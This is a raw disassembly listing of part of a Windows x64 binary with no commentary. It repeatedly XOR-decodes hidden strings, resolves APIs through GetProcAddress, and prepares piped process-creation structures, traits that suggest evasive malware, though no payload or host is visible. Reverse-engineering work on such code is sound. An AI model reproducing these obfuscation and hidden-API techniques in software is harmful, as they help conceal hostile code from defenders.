xor r15d, r15d
mov r14, r9
xor r10d, r10d
lea rax, [r15 + 0x5c]
cmp rax, rbx
jae 0x1400093e0
mov eax, r10d
and al, 1
jne 0x1400093e0
and qword [rsp + 0xd30], 0
xor eax, eax
cmp rax, 8
je 0x140009370
movdqu xmm0, xmmword [r14 + rax*8]
movdqu xmm1, xmmword [r13 + rax*8]
pcmpeqb xmm0, xmm7
pcmpeqb xmm1, xmm8
pand xmm1, xmm0
pmovmskb ecx, xmm1
mov word [rsp + rax + 0xd30], cx
add rax, 2
jmp 0x14000933e
xor r12d, r12d
cmp r12, 4
je 0x1400093c7
mov rdx, r12
inc r12
movzx r8d, word [rsp + rdx*2 + 0xd30]
test r8w, r8w
je 0x140009373
shl rdx, 4
add rdx, r15
mov r9d, r10d
and r9b, 1
lea rcx, [rsp + 0x5f0]
mov qword [rsp + 0xd8], r10
call fcn.1400a4787
mov r9, qword [rsp + 0x98]
or al, byte [rsp + 0xd8]
and al, 1
mov r10d, eax
jmp 0x140009373
add r15, 0x40
add r13, 0x40
add r14, 0x40
mov r12, qword [rsp + 0x90]
jmp 0x14000931b
mov r14, qword [rsp + 0xc0]
lea rcx, [r15 + 0x2c]
mov eax, r10d
and al, 1
cmp rcx, rbx
jae 0x140009447
test al, al
jne 0x140009447
movdqu xmm0, xmmword [r9 + r15]
movdqu xmm1, xmmword [r13]
pcmpeqb xmm0, xmm7
pcmpeqb xmm1, xmm8
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x140009427
add r15, 0x10
add r13, 0x10
jmp 0x1400093e8
lea rcx, [rsp + 0x5f0]
mov rdx, r15
xor r9d, r9d
call fcn.1400a4787
mov r9, qword [rsp + 0x98]
mov r10d, eax
jmp 0x14000941d
lea rcx, [r9 + rbx]
add rcx, 0xffffffffffffffd4
movdqu xmm0, xmmword [r9 + rbx - 0x2c]
movdqu xmm1, xmmword [rdi + rcx]
pcmpeqb xmm0, xmm7
pcmpeqb xmm1, xmm8
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x1400095cb
mov r13, qword [rsp + 0xa8]
lea r15, [rsp + 0x180]
lea rdi, [rsp + 0x388]
lea rbx, [rsp + 0x5f0]
test al, al
je 0x1400095ae
jmp 0x14000a490
mov dil, byte [rsp + 0x60a]
mov rbx, qword [rsp + 0x5f8]
mov r12, qword [rsp + 0x638]
mov r15, qword [rsp + 0x640]
lea r14, [r12 + r15]
mov r13b, byte [rsp + 0x608]
mov r9, qword [rsp + 0x98]
test dil, dil
jne 0x14000957e
test rbx, rbx
je 0x1400094fc
cmp rbx, r15
jae 0x1400094f6
cmp byte [r12 + rbx], 0xbf
jg 0x1400094fc
jmp 0x14000d77a
jne 0x14000d77a
lea rax, [r12 + rbx]
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd38], r14
lea rcx, [rsp + 0xd30]
call fcn.1400818ec
test eax, eax
mov eax, 0x110000
cmove edx, eax
test r13b, r13b
jne 0x14000a488
cmp edx, 0x110000
mov r9, qword [rsp + 0x98]
je 0x14000957e
push 1
pop rax
cmp edx, 0x80
jb 0x140009563
push 2
pop rax
cmp edx, 0x800
jb 0x140009563
cmp edx, 0x10000
push 4
pop rax
sbb rax, 0
add rbx, rax
mov r13b, 1
jmp 0x1400094d7
mov qword [rsp + 0x618], rdi
mov r9, qword [rsp + 0x98]
mov r13, qword [rsp + 0xa8]
mov r12, qword [rsp + 0x90]
lea r15, [rsp + 0x180]
mov r14, qword [rsp + 0xc0]
lea rdi, [rsp + 0x388]
lea rbx, [rsp + 0x5f0]
mov rdx, qword [rsp + 0xae8]
mov rcx, r9
call fcn.140010c6f
mov rcx, qword [rsp + 0xe8]
jmp 0x140008e59
add rbx, 0xffffffffffffffd4
test al, al
setne dil
lea rcx, [rsp + 0x5f0]
mov rdx, rbx
mov r9d, eax
call fcn.1400a4787
mov r9, qword [rsp + 0x98]
or al, dil
jmp 0x140009476
movzx ecx, byte [rax + 0xb8f5]
movzx eax, word [rax + 0xb8f3]
xor eax, 0x324a
mov word [rsp + 0x188], ax
xor cl, 0xc1
mov byte [rsp + 0x18a], cl
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x187]
mov dword [rcx + 7], eax
call fcn.14001dd7b
test rax, rax
je 0x14000d7a7
lea rcx, [0x1400a9e9f]
mov qword [rsp + 0x180], rcx
mov r10, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400ae468]
cmp rdx, 0x10
jae 0x14000969d
mov r8, qword [rdx + rcx]
xor r8, qword [r10 + rdx + 0x4690]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x14000967d
mov qword [rsp + 0x90], rax
xor edx, edx
lea r8, [rdx + 0x10]
cmp r8, 0x13
ja 0x1400096e1
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0x7c000000
xor r8d, dword [r10 + rdx + 0x46a0]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x1400096a7
mov qword [rsp + 0xd8], r12
mov al, byte [r10 + 0x46a4]
xor al, 0x19
mov byte [rsp + 0x194], al
movdqa xmm0, xmmword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
movdqa xmmword [rcx], xmm0
mov rax, qword [rsp + 0x18d]
mov qword [rcx + 0xd], rax
call fcn.14001dd7b
test rax, rax
je 0x14000d7a7
mov r12, rax
lea rax, [0x1400a6dbf]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400ae4e7]
push 8
pop rdx
test r9b, 1
je 0x14000980f
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r15, r8
or r15, 7
mov r14, r8
or r14, 6
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8 + 0x77ef]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x140009763
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000984b
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0x82000000
xor r8d, dword [rax + rdx + 0x77f7]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x140009811
movzx ecx, byte [rax + 0x77fd]
movzx eax, word [rax + 0x77fb]
xor eax, 0x7f39
mov word [rsp + 0x18c], ax
xor cl, 0x24
mov byte [rsp + 0x18e], cl
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x187]
mov qword [rcx + 7], rax
call fcn.14001dd7b
mov qword [rsp + 0xe0], rax
test rax, rax
je 0x14000d7a7
lea rax, [0x1400a60ca]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400ae4bb]
push 8
pop rdx
test r9b, 1
je 0x140009989
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8 + 0x84b8]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x1400098dd
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x1400099c5
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0x5a000000
xor r8d, dword [rax + rdx + 0x84c0]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x14000998b
mov al, byte [rax + 0x84c4]
xor al, 0x43
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x185]
mov qword [rcx + 5], rax
call fcn.14001dd7b
mov qword [rsp + 0x118], rax
test rax, rax
je 0x14000d7a7
lea rax, [0x1400aaa5e]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400ae45c]
push 8
pop rdx
test r9b, 1
je 0x140009aed
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8 + 0x3ac5]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x140009a41
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x140009b29
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0x3f000000
xor r8d, dword [rax + rdx + 0x3acd]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x140009aef
mov eax, dword [rsp + 0x188]
lea rcx, [rsp + 0x5f0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x180]
mov qword [rcx], rax
call fcn.14001dd7b
test rax, rax
je 0x14000d7a7
lea rcx, [0x1400ab1d4]
mov qword [rsp + 0x180], rcx
mov r9, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400ae4c8]
cmp rcx, 0xf
ja 0x140009ba1
mov r8, qword [rcx + rdx]
xor r8, qword [r9 + rcx + 0x33bb]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x140009b81
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x108], r13
movzx eax, word [r9 + 0x33cb]
xor eax, 0x9097
movdqa xmm0, xmmword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
movdqa xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
call fcn.14001dd7b
test rax, rax
je 0x14000d7a7
mov rbx, rax
lea rax, [0x1400a2eb8]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400ae4da]
push 8
pop rdx
test r9b, 1
je 0x140009cce
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, r8
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, r8
or r15, 6
mov r13, r8
or r13, 7
movzx r15d, byte [r15 + rcx]
movzx r13d, byte [r13 + rcx]
shl r13, 0x38
shl r15, 0x30
or r15, r13
shl r14, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, r14
or r9, r15
xor r9, qword [rax + r8 + 0xb6e9]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x140009c20
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x140009d0a
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0xaf000000
xor r8d, dword [rax + rdx + 0xb6f1]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x140009cd0
mov rdi, r12
mov al, byte [rax + 0xb6f5]
add al, 0x80
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x185]
mov qword [rcx + 5], rax
call fcn.14001dd7b
mov qword [rsp + 0x120], rax
test rax, rax
je 0x14000d7a7
lea rax, [rsp + 0x170]
and qword [rax], 0
mov rcx, rax
lea r13, [rsp + 0x178]
and qword [r13], 0
lea r12, [rsp + 0x5e0]
and qword [r12], 0
lea r14, [rsp + 0x860]
and qword [r14], 0
lea r15, [rsp + 0xd30]
mov dword [r15], 0x18
and qword [r15 + 8], 0
mov dword [r15 + 0x10], 1
mov rdx, r13
mov r8, r15
xor r9d, r9d
mov rsi, qword [rsp + 0x90]
call rsi
mov rcx, qword [r13]
push 1
pop r13
mov edx, r13d
xor r8d, r8d
call rdi
mov rcx, r12
mov rdx, r14
mov r8, r15
xor r9d, r9d
call rsi
mov rcx, qword [r12]
mov edx, r13d
xor r8d, r8d
call rdi
lea rax, [rsp + 0x170]
mov rax, qword [rax]
mov dword [rsp + 0x5f0], 0x68
xorps xmm6, xmm6
movups xmmword [rsp + 0x5f8], xmm6
movups xmmword [rsp + 0x608], xmm6
movups xmmword [rsp + 0x618], xmm6
and dword [rsp + 0x628], 0
movabs rcx, 0x100000100
mov qword [rsp + 0x62c], rcx
and qword [rsp + 0x638], 0
mov rcx, qword [r14]
mov qword [rsp + 0x640], rax
mov qword [rsp + 0x648], rcx
mov qword [rsp + 0x650], rcx
movaps xmmword [rsp + 0xae0], xmm6
and qword [rsp + 0xaf0], 0
movaps xmmword [rsp + 0x890], xmm6
lea rdi, [rsp + 0x180]
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x80], xmm6
mov ecx, 0x200
mov edx, 0x80
call fcn.140004c22
mov r12, rax
mov eax, 0x100
mov qword [rsp + 0xb0], rax
mov r8d, 0x100
mov rcx, r12
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
and qword [r12 + 0x100], 0
xor eax, eax
mov byte [r12 + 0x108], al
push 8
pop r14
mov qword [r12 + 0x110], r14
movups xmmword [r12 + 0x118], xmm6
mov qword [r12 + 0x128], r14
movaps xmmword [r12 + 0x130], xmm6
mov cl, 1
mov byte [r12 + 0x140], cl
push 1
pop rsi
mov qword [r12 + 0x180], rsi
mov qword [r12 + 0x188], rsi
mov byte [r12 + 0x190], al
xor r13d, r13d
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x80], xmm6
mov ecx, 0x200
mov edx, 0x80
call fcn.140004c22
mov r15, rax
lea rdx, [rsp + 0x180]
mov r8d, 0x100
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
and qword [r15 + 0x100], 0
mov byte [r15 + 0x108], r13b
mov qword [r15 + 0x110], r14
movups xmmword [r15 + 0x118], xmm6
mov qword [r15 + 0x128], r14
movaps xmmword [r15 + 0x130], xmm6
mov al, 1
mov byte [r15 + 0x140], al
mov qword [r15 + 0x180], rsi
mov qword [r15 + 0x188], rsi
mov byte [r15 + 0x190], r13b
lea rax, [rsp + 0x5e0]
mov rdi, qword [rax]
call fcn.14008a154
mov qword [rsp + 0x90], rax
xor ecx, ecx
call fcn.140087186
mov qword [rsp + 0x150], rax
lock inc qword [rax]
jle 0x14000d7a7
mov r13, rax
mov qword [rsp + 0x128], rdi
push 0x30
pop rcx
push 8
pop rdx
call fcn.140004c22
mov qword [rax], rsi
mov qword [rax + 8], rsi
movups xmmword [rax + 0x10], xmm6
mov qword [rsp + 0xe8], rax
lock inc qword [rax]
jle 0x14000d7a7
mov r14, rax
xor ecx, ecx
call fcn.14008a22e
mov rdi, rax
test rax, rax
je 0x14000ada9
lock inc qword [rdi]
jle 0x14000d7a7
mov rcx, rdi
jmp 0x14000adab
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
call fcn.14001cc2d
mov rbx, rax
test bl, 1
jne 0x14000b886
cmp rsi, 2
jbe 0x14000d7a7
mov qword [rsp + 0x98], rdi
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rax + 0x20]
mov r8, qword [rax + 0x28]
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.140004fad
mov rax, qword [rsi]
mov qword [rsp + 0x90], rax
test rax, rax
je 0x14000d7a7
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0xb0], rax
mov r14, qword [rsp + 0x190]
lea rax, [fcn.1400a1119]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
shr rbx, 0x20
and qword [rsp + 0x180], 0
mov r9b, 1
xor edx, edx
lea rcx, [0x1400ae50b]
push 8
pop rdi
test r9b, 1
je 0x14000bcac
movzx r10d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, rdx
or rsi, 3
movzx r12d, byte [rsi + rcx]
mov rsi, rdx
or rsi, 4
movzx r13d, byte [rsi + rcx]
mov rsi, rdx
or rsi, 5
movzx r15d, byte [rsi + rcx]
mov rsi, rdx
or rsi, 6
mov r8, rdx
or r8, 7
movzx esi, byte [rsi + rcx]
movzx r8d, byte [r8 + rcx]
shl r8, 0x38
shl rsi, 0x30
or rsi, r8
shl r15, 0x28
shl r13, 0x20
shl r12, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, r12
or r9, r13
or r9, r15
or r9, rsi
xor r9, qword [rax + rdx + 0xd4b9]
mov qword [rsp + rdx + 0x180], r9
xor r9d, r9d
mov rdx, rdi
jmp 0x14000a0cd
movzx eax, word [rax + 0x3ff7]
xor eax, 0xccb1
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov word [rdx + 0x10], ax
push 0x12
pop r8
mov rcx, qword [rsp + 0x88]
call fcn.140011183
jmp 0x14000c520
lea rax, [0x14009957d]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov byte [rsp + 0x184], 0
and dword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400a6b37]
push 4
pop rdx
test r9b, 1
je 0x14000a368
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
mov rbx, r8
or rbx, 3
movzx r11d, byte [r11 + rcx]
movzx ebx, byte [rbx + rcx]
shl ebx, 0x18
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
or r10d, r11d
or r10d, ebx
xor r10d, dword [rax + r8 + 0xd895]
mov dword [rsp + r8 + 0x180], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x14000a1ed
lea rsi, [rsp + 0x180]
mov dword [rsi + 0xc0], 0x8000000
lea rbx, [rsp + 0x5f0]
mov rcx, rbx
mov rdx, rsi
call fcn.14008d7d4
mov rcx, rsi
call fcn.140003f17
cmp qword [rbx], 0
je 0x14000c4a7
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
mov rcx, rsi
call fcn.140004c79
cmp byte [rsi + 0x20], 2
jne 0x14000d7a7
lea rdx, [rsp + 0x608]
lea rsi, [rsp + 0x180]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xd40], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0xd30], xmm0
mov rcx, rsi
call fcn.140004c79
cmp byte [rsi + 0x20], 2
jne 0x14000d7a7
lea rdx, [rsp + 0x180]
mov rax, qword [rdx + 0x10]
lea rsi, [rsp + 0xae0]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rsi], xmm0
lea rbx, [rsp + 0xd30]
lea rax, [rsp + 0x890]
mov qword [rax], rbx
lea rcx, [0x1400c1168]
mov qword [rdx], rcx
lea rcx, [0x140004f6b]
mov qword [rax + 8], rcx
mov qword [rdx + 8], r15
and qword [rdx + 0x20], 0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r15
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.140010c6f
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.140010c6f
jmp 0x14000c50b
mov al, byte [rax + 0xd899]
xor al, 0x10
lea r8, [rsp + 0x180]
mov ecx, dword [r8]
mov byte [r8 + 4], al
mov dword [r8], ecx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
push 5
pop r9
call fcn.14001282a
test al, al
je 0x14000b90d
cmp rsi, 1
je 0x14000d7a7
mov rdi, qword [rsp + 0x138]
mov r13, qword [rsp + 0xa0]
mov rbx, qword [r13 + 0x10]
mov r14, qword [r13 + 0x18]
mov rcx, r14
call fcn.1400862c7
mov r15, rax
mov r12, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
pxor xmm0, xmm0
lea rbx, [rsp + 0x180]
movdqu xmmword [rbx + 0x98], xmm0
mov qword [rbx + 0x30], r15
mov qword [rbx + 0x38], r12
mov qword [rbx + 0x40], r14
mov byte [rbx + 0x48], 0
mov qword [rbx + 0x90], 8
and qword [rbx + 0x50], 0
and qword [rbx + 0x60], 0
and word [rbx + 0x68], 0
mov byte [rbx + 0x88], 2
and dword [rbx + 0xc0], 0
and word [rbx + 0xc4], 0
push 6
pop rax
mov dword [rbx], eax
mov dword [rbx + 0x10], eax
mov dword [rbx + 0x20], eax
and qword [rbx + 0xa8], 0
and qword [rbx + 0xb8], 0
lea rax, [r13 + 0x20]
shl rsi, 4
add rsi, 0xffffffffffffffe0
test rsi, rsi
je 0x14000bb90
lea r14, [rax + 0x10]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov rcx, rbx
call fcn.140090cfd
add rsi, 0xfffffffffffffff0
mov rax, r14
jmp 0x14000a45b
mov qword [rsp + 0x618], rdi
mov r13, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xe8]
call qword [rsp + 0xc8]
mov r9, qword [rsp + 0x98]
mov r12d, eax
mov rdx, qword [rsp + 0xae8]
mov rcx, r9
call fcn.140010c6f
cmp qword [rsp + 0xe8], 0
je 0x14000b14c
lea rax, [0x1400d1795]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400d57a5]
push 8
pop rdx
test r9b, 1
je 0x14000a5ad
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8 + 0x4202]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x14000a501
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000a5e9
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0x55000000
xor r8d, dword [rax + rdx + 0x420a]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x14000a5af
mov qword [rsp + 0x90], r12
mov eax, dword [rsp + 0x188]
lea rcx, [rsp + 0x5f0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x180]
mov qword [rcx], rax
push 0xc
pop rdx
call fcn.1400822af
lea rcx, [0x1400c679e]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
mov rsi, rax
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rax, [0x1400d57b1]
push 8
pop rdx
test r9b, 1
je 0x14000a6fe
movzx r10d, byte [r8 + rax]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rax]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rax]
mov rdi, r8
or rdi, 3
movzx edi, byte [rdi + rax]
mov rbx, r8
or rbx, 4
movzx ebx, byte [rbx + rax]
mov r14, r8
or r14, 5
movzx r14d, byte [r14 + rax]
mov r15, r8
or r15, 6
mov r12, r8
or r12, 7
movzx r15d, byte [r15 + rax]
movzx r12d, byte [r12 + rax]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl rdi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rdi
or r9, rbx
or r9, r14
or r9, r15
xor r9, qword [rcx + r8 + 0xf205]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x14000a651
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000a73a
movzx r8d, byte [rdx + rax + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rax + 8]
add r8d, r9d
add r8d, 0x65000000
xor r8d, dword [rcx + rdx + 0xf20d]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x14000a700
mov eax, dword [rsp + 0x188]
lea rcx, [rsp + 0x5f0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x180]
mov qword [rcx], rax
push 0xc
pop rdx
call fcn.1400822af
mov r15, rax
lea rax, [0x1400cfec3]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400d57bd]
cmp rcx, 0xf
ja 0x14000a7af
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0x5aec]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x14000a78f
movzx eax, word [rax + 0x5afc]
xor eax, 0x58ee
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov word [rdx + 0x10], ax
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0x98], rax
lea rax, [0x1400c8747]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400d57cf]
cmp rcx, 0xf
ja 0x14000a831
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0xd27a]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x14000a811
mov al, byte [rax + 0xd28a]
xor al, 0x89
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov byte [rdx + 0x10], al
mov rcx, r15
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0xb0], rax
lea rax, [0x1400c5f50]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400d57e0]
cmp rdx, 0x10
jae 0x14000a8b6
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0xfa82]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x14000a896
xor edx, edx
